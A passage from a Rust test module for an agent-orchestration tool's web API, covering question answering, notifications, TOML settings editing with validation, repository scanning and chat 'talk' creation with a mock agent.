10373 let repo = fx.home.path().join("chat-repo");
10375 std::fs::create_dir_all(&repo).unwrap();
10376 let toml = repo.join("magi.toml");
10377 std::fs::write(&toml, "this is = = not toml").unwrap();
10378 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10379 let mut task = Task::new(
10380 "t".to_owned(),
10381 "Do it".to_owned(),
10382 PathBuf::from("/repo/magi"),
10383 Source::Agent {
10384 run: talk.id.clone(),
10385 node: crate::queue::CHAT_NODE.to_owned(),
10386 },
10387 );
10388 task.start("20260902-000000-beef".to_owned());
10389 fx.queue().put(&mut task).unwrap();
10390
10391 let path = format!("/api/questions/{id}/consult");
10392 let res = fx.post(&path, None).await;
10393 assert!(res.status >= 400, "{}", res.body);
10394 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10395 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10396
10397 std::fs::write(&toml, "").unwrap();
10398 let res = fx.post(&path, None).await;
10399 assert_eq!(res.status, 202, "{}", res.body);
10400 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10401 let q = fx.questions().get(&id).unwrap();
10402 assert!(q.status.open());
10403 assert!(q.answer.is_none());
10404 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10405 assert_eq!(res.json()["can_consult_chat"], true);
10406 let list = fx.get("/api/questions").await.json();
10407 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10408 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
10409
10410 let res = fx
10411 .post(
10412 &format!("/api/questions/{id}/answer"),
10413 Some(r#"{"choice":"hold"}"#),
10414 )
10415 .await;
10416 assert_eq!(res.status, 200, "{}", res.body);
10417 assert_eq!(res.json()["answer"]["choice"], "hold");
10418 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10419 assert_eq!(res.json()["can_consult_chat"], false);
10420 assert_eq!(fx.post(&path, None).await.status, 409);
10421
10422 let mut talk = fx.talks().get(&talk.id).unwrap();
10423 crate::talk::close(&mut talk, &fx.talks()).unwrap();
10424 let list = fx.get("/api/questions").await.json();
10425 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10426 assert_eq!(list[0]["origin_chat_closed"], true);
10427 assert_eq!(list[0]["can_consult_chat"], false);
10428
10429 fx.talks().remove(&talk.id).unwrap();
10430 let list = fx.get("/api/questions").await.json();
10431 assert_eq!(list[0]["origin_chat"], Value::Null);
10432 assert_eq!(list[0]["origin_chat_closed"], false);
10433 assert_eq!(list[0]["can_consult_chat"], false);
10434 }
10435
10436 #[tokio::test]
10437 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10438 let fx = Fixture::start().await;
10439 let store = fx.questions();
10440 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10441 assert_eq!(
10442 fx.get("/api/health").await.json()["questions_needs_owner"],
10443 1
10444 );
10445
10446 let res = fx
10452 .post(
10453 &format!("/api/questions/{id}/say"),
10454 Some(r#"{"body":"why not Postgres?"}"#),
10455 )
10456 .await;
10457 assert_eq!(res.status, 200, "{}", res.body);
10458 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10459 assert_eq!(
10460 fx.get("/api/health").await.json()["questions_needs_owner"],
10461 0,
10462 "waiting on the agent is not waiting on the owner"
10463 );
10464
10465 let mut q = store.get(&id).expect("get");
10469 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10470 .expect("reply");
10471 store.put(&mut q).expect("put");
10472 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10473 assert_eq!(
10474 fx.get("/api/health").await.json()["questions_needs_owner"],
10475 1,
10476 "the agent's reply is what should light the banner back up"
10477 );
10478 }
10479
10480 #[tokio::test]
10481 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10482 let fx = Fixture::start().await;
10483 let store = fx.questions();
10484
10485 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10486 let res = fx
10487 .post(
10488 &format!("/api/questions/{empty_id}/say"),
10489 Some(r#"{"body":" "}"#),
10490 )
10491 .await;
10492 assert_eq!(res.status, 400, "{}", res.body);
10493
10494 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10495 let mut answered = store.get(&answered_id).expect("get");
10496 answered
10497 .answer(Answer::Choice("SQLite".to_owned()))
10498 .expect("answer");
10499 store.put(&mut answered).expect("put");
10500 let res = fx
10501 .post(
10502 &format!("/api/questions/{answered_id}/say"),
10503 Some(r#"{"body":"still there?"}"#),
10504 )
10505 .await;
10506 assert_eq!(res.status, 409, "{}", res.body);
10507
10508 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10509 let mut abandoned = store.get(&abandoned_id).expect("get");
10510 abandoned.abandon("timed out");
10511 store.put(&mut abandoned).expect("put");
10512 let res = fx
10513 .post(
10514 &format!("/api/questions/{abandoned_id}/say"),
10515 Some(r#"{"body":"still there?"}"#),
10516 )
10517 .await;
10518 assert_eq!(res.status, 409, "{}", res.body);
10519 }
10520
10521 #[tokio::test]
10522 async fn an_answer_the_question_does_not_offer_is_refused() {
10523 let fx = Fixture::start().await;
10524 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10525 let path = format!("/api/questions/{id}/answer");
10526
10527 for body in [
10528 r#"{"choice":"Postgres"}"#,
10529 r#"{"text":"whatever you think"}"#,
10530 r#"{"choice":"Redis","text":"both"}"#,
10531 r#"{}"#,
10532 ] {
10533 let res = fx.post(&path, Some(body)).await;
10534 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10535 assert!(res.json()["error"].is_string(), "{}", res.body);
10536 }
10537 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10539 }
10540
10541 #[tokio::test]
10542 async fn a_free_text_question_takes_text_and_not_a_choice() {
10543 let fx = Fixture::start().await;
10544 let id = ask(&fx, "What should the flag be called?", &[]);
10545 let path = format!("/api/questions/{id}/answer");
10546
10547 assert_eq!(
10548 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10549 400
10550 );
10551 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10552 assert_eq!(res.status, 200, "{}", res.body);
10553 assert_eq!(res.json()["answer"]["text"], "--json");
10554 }
10555
10556 #[tokio::test]
10557 async fn an_unknown_question_is_a_json_404() {
10558 let fx = Fixture::start().await;
10559 let res = fx
10560 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10561 .await;
10562 assert_eq!(res.status, 404, "{}", res.body);
10563 assert!(res.json()["error"].is_string());
10564 }
10565
10566 #[tokio::test]
10567 async fn notifications_list_read_dismiss_and_health_agree() {
10568 let fx = Fixture::start().await;
10569 let store = Notices::at(fx.home.path().join("notifications"));
10570 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10571 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10572
10573 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10574 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10575
10576 store
10577 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10578 .unwrap();
10579 let health = fx.get("/api/health").await.json();
10580 assert_eq!(health["notifications_unread"], 2);
10581 assert_ne!(
10582 health["notifications_rev"], rev0,
10583 "the badge must move live"
10584 );
10585
10586 let listed = fx.get("/api/notifications").await.json();
10587 assert_eq!(listed["unread"], 2);
10588 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10589 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10590
10591 let read = fx
10592 .post(&format!("/api/notifications/{}/read", a.id), None)
10593 .await;
10594 assert_eq!(read.status, 200, "{}", read.body);
10595 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10596
10597 let gone = fx
10598 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10599 .await;
10600 assert_eq!(gone.status, 200, "{}", gone.body);
10601 let listed = fx.get("/api/notifications").await.json();
10602 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10603 assert_eq!(listed["unread"], 0);
10604
10605 store.raise(Notice::info("x", "again")).unwrap();
10606 let all = fx.post("/api/notifications/read-all", None).await;
10607 assert_eq!(all.status, 200, "{}", all.body);
10608 assert_eq!(all.json()["marked"], 1);
10609 assert_eq!(
10610 fx.get("/api/health").await.json()["notifications_unread"],
10611 0
10612 );
10613
10614 let missing = fx.post("/api/notifications/nope/read", None).await;
10615 assert_eq!(missing.status, 404, "{}", missing.body);
10616 assert!(missing.json()["error"].is_string());
10617 }
10618
10619 #[tokio::test]
10626 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10627 let f = Fixture::start().await;
10628
10629 let res = f
10630 .post(
10631 "/api/queue",
10632 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10633 )
10634 .await;
10635
10636 assert_eq!(
10637 res.status, 405,
10638 "POST /api/queue must not be a route: {}",
10639 res.body
10640 );
10641 assert!(
10642 f.queue().list().is_empty(),
10643 "a task filed by a route that does not exist must not reach the disk"
10644 );
10645 assert_eq!(f.get("/api/queue").await.status, 200);
10648 }
10649
10650 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10652 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10653 .expect("checkout dir");
10654 }
10655
10656 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10658
10659 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10660 let tmp = TempDir::new().expect("tempdir");
10661 let repo = tmp.path().join("repo");
10662 std::fs::create_dir_all(&repo).expect("repo dir");
10663 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10664 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10665 if let Some(text) = machine_toml {
10666 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10667 std::fs::write(&machine, text).expect("machine toml");
10668 }
10669 (tmp, repo, machine)
10670 }
10671
10672 async fn settings_checkout(path: &FsPath, text: &str) {
10673 std::fs::create_dir_all(path).unwrap();
10674 std::fs::write(path.join("magi.toml"), text).unwrap();
10675 for args in [
10676 vec!["init", "-b", "main"],
10677 vec!["add", "magi.toml"],
10678 vec![
10679 "-c",
10680 "user.name=Test",
10681 "-c",
10682 "user.email=test@example.invalid",
10683 "commit",
10684 "-m",
10685 "fixture",
10686 ],
10687 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10688 vec![
10689 "symbolic-ref",
10690 "refs/remotes/origin/HEAD",
10691 "refs/remotes/origin/main",
10692 ],
10693 ] {
10694 crate::git::git(path, &args).await.unwrap();
10695 }
10696 }
10697
10698 #[tokio::test]
10699 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10700 let (tmp, repo, machine) =
10701 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10702 let root = tmp.path().join("roots");
10703 let selected = root.join("host/owner/selected");
10704 settings_checkout(
10705 &selected,
10706 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10707 )
10708 .await;
10709 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10710 let before = std::fs::read(&machine).unwrap();
10711 let ui = Arc::new(
10712 Ui::new(
10713 Queue::at(tmp.path().join("queue")),
10714 Questions::at(tmp.path().join("questions")),
10715 Talks::at(tmp.path().join("talks")),
10716 tmp.path().join("runs"),
10717 tmp.path().to_path_buf(),
10718 repo.clone(),
10719 )
10720 .with_machine_config(Some(machine.clone())),
10721 );
10722 let query = || {
10723 Query(SettingsQuery {
10724 repo: Some(selected.clone()),
10725 })
10726 };
10727 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10728 assert!(v.error.is_none(), "{:?}", v.error);
10729 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10730 assert_eq!(conductor.source, "repo");
10731 assert_eq!(
10732 conductor.machine_value,
10733 Some(toml::Value::String("a".into()))
10734 );
10735 assert!(!conductor.editable);
10736 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10737 assert_eq!(
10738 judges.count.as_ref().unwrap().machine_value,
10739 Some(toml::Value::Integer(1))
10740 );
10741 assert!(
10742 !v.roles
10743 .iter()
10744 .find(|r| r.key == "reviewers")
10745 .unwrap()
10746 .editable
10747 );
10748 let unknown = || {
10749 Query(SettingsQuery {
10750 repo: Some(tmp.path().to_path_buf()),
10751 })
10752 };
10753 assert_eq!(
10754 settings_get(State(ui.clone()), unknown())
10755 .await
10756 .unwrap_err()
10757 .status,
10758 StatusCode::UNPROCESSABLE_ENTITY
10759 );
10760 let body = || {
10761 Ok(Json(RolesBody {
10762 revision: v.revision.clone(),
10763 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10764 counts: Default::default(),
10765 }))
10766 };
10767 assert_eq!(
10768 settings_put_roles(State(ui.clone()), unknown(), body())
10769 .await
10770 .unwrap_err()
10771 .status,
10772 StatusCode::UNPROCESSABLE_ENTITY
10773 );
10774 assert_eq!(std::fs::read(&machine).unwrap(), before);
10775 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10776 .await
10777 .unwrap();
10778 assert_eq!(
10779 saved.repo,
10780 selected.canonicalize().unwrap().display().to_string()
10781 );
10782 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10783 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10784 let fresh = root.join("host/owner/fresh");
10786 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10787 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10788 .await
10789 .unwrap();
10790 assert_eq!(fresh_view.repositories.len(), 3);
10791 }
10792
10793 #[tokio::test]
10794 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10795 let (tmp, repo, machine) = settings_dirs(
10796 "[roles]\nreviewers = [\"a\"]\n",
10797 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10798 );
10799 let root = tmp.path().join("roots");
10800 let selected = root.join("host/owner/selected");
10801 settings_checkout(
10802 &selected,
10803 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10804 )
10805 .await;
10806 let broken = root.join("host/owner/broken");
10807 settings_checkout(&broken, "[roles\nbroken").await;
10808 let machine_text = format!(
10809 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10810 toml::Value::String(root.display().to_string())
10811 );
10812 std::fs::write(&machine, &machine_text).unwrap();
10813 let originals: Vec<_> = [&repo, &selected, &broken]
10814 .iter()
10815 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10816 .collect();
10817 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10818 let default = f.get("/api/settings").await.json();
10819 assert_eq!(
10820 default["repo"],
10821 repo.canonicalize().unwrap().display().to_string()
10822 );
10823 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10824 let query = format!("?repo={}", selected.display());
10825 let res = f.get(&format!("/api/settings{query}")).await;
10826 assert_eq!(res.status, 200, "{}", res.body);
10827 let v = res.json();
10828 assert!(v["error"].is_null(), "{v}");
10829 assert_eq!(v["repositories"], default["repositories"]);
10830 let role = |key: &str| {
10831 v["roles"]
10832 .as_array()
10833 .unwrap()
10834 .iter()
10835 .find(|r| r["key"] == key)
10836 .unwrap()
10837 };
10838 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10839 assert_eq!(role("advisors")["source"], "repo");
10840 assert_eq!(role("advisors")["editable"], false);
10841 assert!(role("advisors")["machine_value"].is_null());
10842 assert_eq!(role("judges")["count"]["value"], 2);
10843 assert_eq!(role("judges")["count"]["machine_value"], 1);
10844 assert_eq!(role("judges")["count"]["source"], "repo");
10845 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10846 assert!(
10847 source.contains("origin/main") && !source.contains("magi/config/"),
10848 "{source}"
10849 );
10850 assert_eq!(
10851 role("reviewers")["editable"],
10852 false,
10853 "default context outside roots must protect its declarations"
10854 );
10855 let body =
10856 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10857 let unknown = format!("?repo={}", tmp.path().display());
10858 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10859 assert_eq!(
10860 f.put(&format!("/api/settings/roles{unknown}"), &body)
10861 .await
10862 .status,
10863 422
10864 );
10865 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10866 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10867 .to_string();
10868 assert_eq!(
10869 f.put(&format!("/api/settings/roles{query}"), &refuse)
10870 .await
10871 .status,
10872 422
10873 );
10874 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10875 assert_eq!(saved.status, 200, "{}", saved.body);
10876 assert_eq!(saved.json()["repo"], v["repo"]);
10877 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10878 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10879 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10880 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10881 }
10882 let error = f
10883 .get(&format!("/api/settings?repo={}", broken.display()))
10884 .await;
10885 assert_eq!(error.status, 200);
10886 assert!(error.json()["error"]["message"].is_string());
10887 assert_eq!(error.json()["repositories"], default["repositories"]);
10888 }
10889
10890 #[tokio::test]
10891 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10892 let (_tmp, repo, machine) =
10893 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10894 let f = Fixture::with_repo_and_machine(repo, machine).await;
10895 let res = f.get("/api/settings").await;
10896 assert_eq!(res.status, 200, "{}", res.body);
10897 let v = res.json();
10898 assert!(v["error"].is_null(), "{v}");
10899 let role = |k: &str| {
10900 v["roles"]
10901 .as_array()
10902 .and_then(|r| r.iter().find(|x| x["key"] == k))
10903 .cloned()
10904 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10905 };
10906 assert_eq!(role("judges")["source"], "machine");
10907 assert_eq!(role("judges")["editable"], true);
10908 assert_eq!(role("implementers")["source"], "default");
10909 let adv = role("advisors");
10910 assert_eq!(adv["fallback"], "judges");
10911 assert!(
10912 adv["seats"]
10913 .as_array()
10914 .is_some_and(|s| s.iter().all(|x| x == "b")),
10915 "{adv}"
10916 );
10917 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10918 assert_eq!(v["agents"][0]["source"], "repo");
10919 }
10920
10921 #[tokio::test]
10922 async fn settings_get_reports_a_config_that_does_not_parse() {
10923 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10924 let f = Fixture::with_repo_and_machine(repo, machine).await;
10925 let res = f.get("/api/settings").await;
10926 assert_eq!(res.status, 200, "{}", res.body);
10927 let v = res.json();
10928 assert!(v["error"]["message"].is_string(), "{v}");
10929 assert!(
10930 v["error"]["path"]
10931 .as_str()
10932 .is_some_and(|p| p.ends_with("magi.toml")),
10933 "{v}"
10934 );
10935 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10936 }
10937
10938 #[tokio::test]
10939 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10940 let (_tmp, repo, machine) = settings_dirs(
10941 SETTINGS_AGENTS,
10942 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10943 );
10944 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10945 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10946 let rev = f.get("/api/settings").await.json()["revision"]
10947 .as_str()
10948 .expect("revision")
10949 .to_owned();
10950 let body = serde_json::json!({
10951 "revision": rev,
10952 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10953 })
10954 .to_string();
10955 let res = f.put("/api/settings/roles", &body).await;
10956 assert_eq!(res.status, 200, "{}", res.body);
10957 let text = std::fs::read_to_string(&machine).expect("machine");
10958 assert_eq!(
10959 text,
10960 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10961 );
10962 assert_eq!(
10963 std::fs::read(repo.join("magi.toml")).expect("read"),
10964 repo_before
10965 );
10966 let again = f.get("/api/settings").await.json();
10967 let judges = again["roles"]
10968 .as_array()
10969 .expect("roles")
10970 .iter()
10971 .find(|r| r["key"] == "judges")
10972 .expect("judges")
10973 .clone();
10974 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10975 let stale = f.put("/api/settings/roles", &body).await;
10977 assert_eq!(stale.status, 409, "{}", stale.body);
10978 }
10979
10980 #[tokio::test]
10981 async fn settings_counts_are_reported_and_saved() {
10982 let (_tmp, repo, machine) = settings_dirs(
10983 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10984 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10985 );
10986 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10987 let v = f.get("/api/settings").await.json();
10988 let count = |v: &serde_json::Value, k: &str| {
10989 v["roles"]
10990 .as_array()
10991 .and_then(|r| r.iter().find(|x| x["key"] == k))
10992 .map(|x| x["count"].clone())
10993 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10994 };
10995 let imp = count(&v, "implementers");
10996 assert_eq!(imp["value"], 2);
10997 assert_eq!(imp["source"], "machine");
10998 assert_eq!(imp["file_key"], "candidates");
10999 assert_eq!(imp["roster_len"], 2);
11000 assert_eq!(imp["backups"], 0);
11001 assert_eq!(count(&v, "judges")["source"], "default");
11002 assert_eq!(count(&v, "advisors")["min"], 0);
11003 assert_eq!(count(&v, "reviewers")["editable"], false);
11004 assert!(
11005 count(&v, "reviewers")["locked_reason"]
11006 .as_str()
11007 .is_some_and(|m| m.contains("graph.reviewers"))
11008 );
11009 assert!(count(&v, "fixer").is_null());
11010 let rev = v["revision"].as_str().expect("revision").to_owned();
11011 let body = serde_json::json!({
11012 "revision": rev,
11013 "roles": { "judges": ["b"] },
11014 "counts": { "implementers": 1, "advisors": 0 }
11015 })
11016 .to_string();
11017 let res = f.put("/api/settings/roles", &body).await;
11018 assert_eq!(res.status, 200, "{}", res.body);
11019 let text = std::fs::read_to_string(&machine).expect("machine");
11020 assert_eq!(
11021 text,
11022 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11023 );
11024 let after = f.get("/api/settings").await.json();
11025 assert_eq!(count(&after, "implementers")["value"], 1);
11026 assert_eq!(count(&after, "implementers")["backups"], 1);
11027 assert_eq!(count(&after, "advisors")["value"], 0);
11028 let before = std::fs::read_to_string(&machine).expect("machine");
11029 let rev = after["revision"].as_str().expect("revision").to_owned();
11030 for counts in [
11031 serde_json::json!({ "judges": 0 }),
11032 serde_json::json!({ "judges": "x" }),
11033 serde_json::json!({ "judges": 2.5 }),
11034 serde_json::json!({ "judges": -1 }),
11035 serde_json::json!({ "reviewers": 3 }),
11036 serde_json::json!({ "bogus": 3 }),
11037 ] {
11038 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11039 let res = f.put("/api/settings/roles", &body).await;
11040 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11041 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11042 }
11043 }
11044
11045 #[tokio::test]
11046 async fn settings_put_refuses_without_touching_the_file() {
11047 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11048 let (_tmp, repo, machine) = settings_dirs(
11049 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11050 Some(machine_text),
11051 );
11052 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11053 let rev = f.get("/api/settings").await.json()["revision"]
11054 .as_str()
11055 .expect("revision")
11056 .to_owned();
11057 for roles in [
11058 serde_json::json!({ "judges": ["nope"] }),
11059 serde_json::json!({ "reviewers": ["b"] }),
11060 serde_json::json!({ "bogus": ["a"] }),
11061 ] {
11062 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11063 let res = f.put("/api/settings/roles", &body).await;
11064 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11065 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11066 assert_eq!(
11067 std::fs::read_to_string(&machine).expect("machine"),
11068 machine_text
11069 );
11070 }
11071 }
11072
11073 #[tokio::test]
11074 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11075 let tmp = TempDir::new().expect("tempdir");
11076 let repo = tmp.path().join("repo");
11077 std::fs::create_dir_all(&repo).expect("repo dir");
11078 let root = tmp.path().join("root");
11079 make_checkout(&root, "github.com", "yukimemi", "magi");
11080 std::fs::write(
11081 repo.join("magi.toml"),
11082 format!(
11083 "[repos]\nroots = [{:?}]\n",
11084 root.to_string_lossy().into_owned()
11085 ),
11086 )
11087 .expect("write magi.toml");
11088
11089 let f = Fixture::with_repo(repo).await;
11090 let res = f.get("/api/repos").await;
11091 assert_eq!(res.status, 200, "{}", res.body);
11092 let list = res.json();
11093 let repos = list.as_array().expect("an array");
11094 assert_eq!(repos.len(), 1);
11095 assert_eq!(repos[0]["name"], "yukimemi/magi");
11096 assert!(
11097 repos[0]["path"]
11098 .as_str()
11099 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11100 "{list}"
11101 );
11102 }
11103
11104 #[tokio::test]
11105 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11106 let tmp = TempDir::new().expect("tempdir");
11107 let repo = tmp.path().join("repo");
11108 std::fs::create_dir_all(&repo).expect("repo dir");
11109 let root = tmp.path().join("root");
11110 make_checkout(&root, "github.com", "yukimemi", "magi");
11111 std::fs::write(
11112 repo.join("magi.toml"),
11113 format!(
11114 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11115 root.to_string_lossy().into_owned()
11116 ),
11117 )
11118 .expect("write magi.toml");
11119
11120 let f = Fixture::with_repo(repo).await;
11121 let first = f.get("/api/repos").await;
11122 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11123
11124 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11127 let second = f.get("/api/repos").await;
11128 assert_eq!(
11129 second.json().as_array().map(Vec::len),
11130 Some(1),
11131 "a fresh cache must not rescan inside the TTL"
11132 );
11133
11134 let refreshed = f.get("/api/repos?refresh=1").await;
11135 assert_eq!(
11136 refreshed.json().as_array().map(Vec::len),
11137 Some(2),
11138 "an explicit refresh must rescan even inside the TTL"
11139 );
11140 }
11141
11142 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11148
11149 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11153 let tmp = TempDir::new().expect("tempdir");
11154 let repo = tmp.path().join("repo");
11155 std::fs::create_dir_all(&repo).expect("repo dir");
11156 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11157 let f = Fixture::with_repo(repo.clone()).await;
11158 (tmp, repo, f)
11159 }
11160
11161 #[tokio::test]
11162 async fn posting_a_talk_with_remembered_choices_is_soft() {
11163 let (_tmp, _repo, f) = talk_fixture().await;
11164
11165 let good = f
11166 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11167 .await;
11168 assert_eq!(good.status, 201, "{}", good.body);
11169 assert_eq!(good.json()["persona"], "rei");
11170
11171 let stale = f
11173 .post(
11174 "/api/talks",
11175 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11176 )
11177 .await;
11178 assert_eq!(stale.status, 201, "{}", stale.body);
11179 let v = stale.json();
11180 assert_eq!(v["implementers"], 1);
11181 assert_ne!(v["persona"], "nobody");
11182 let typed = f
11183 .post(
11184 "/api/talks",
11185 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11186 )
11187 .await;
11188 assert_eq!(typed.status, 201, "{}", typed.body);
11189
11190 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11192 assert!(
11193 !strict.status.to_string().starts_with('2'),
11194 "{}",
11195 strict.body
11196 );
11197 }
11198
11199 #[tokio::test]
11200 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11201 let (_tmp, _repo, f) = talk_fixture().await;
11202
11203 let opened = f.post("/api/talks", None).await;
11206 assert_eq!(opened.status, 201, "{}", opened.body);
11207 let body = opened.json();
11208 assert_eq!(body["status"], "open");
11209 assert_eq!(
11210 body["turns"].as_array().unwrap().len(),
11211 0,
11212 "opening takes no agent turn: there is nothing yet to answer"
11213 );
11214
11215 let also_opened = f.post("/api/talks", Some("{}")).await;
11217 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11218
11219 let listed = f.get("/api/talks").await.json();
11220 assert_eq!(listed.as_array().unwrap().len(), 2);
11221 }
11222
11223 #[tokio::test]
11224 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11225 let tmp = TempDir::new().expect("tempdir");
11226 let repo = tmp.path().join("repo");
11227 std::fs::create_dir_all(&repo).expect("repo dir");
11228 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11229 std::fs::write(
11230 repo.join("magi.toml"),
11231 format!("{MOCK_AGENT_TOML}\n{second}"),
11232 )
11233 .expect("write magi.toml");
11234 let home = TempDir::new().expect("temp home");
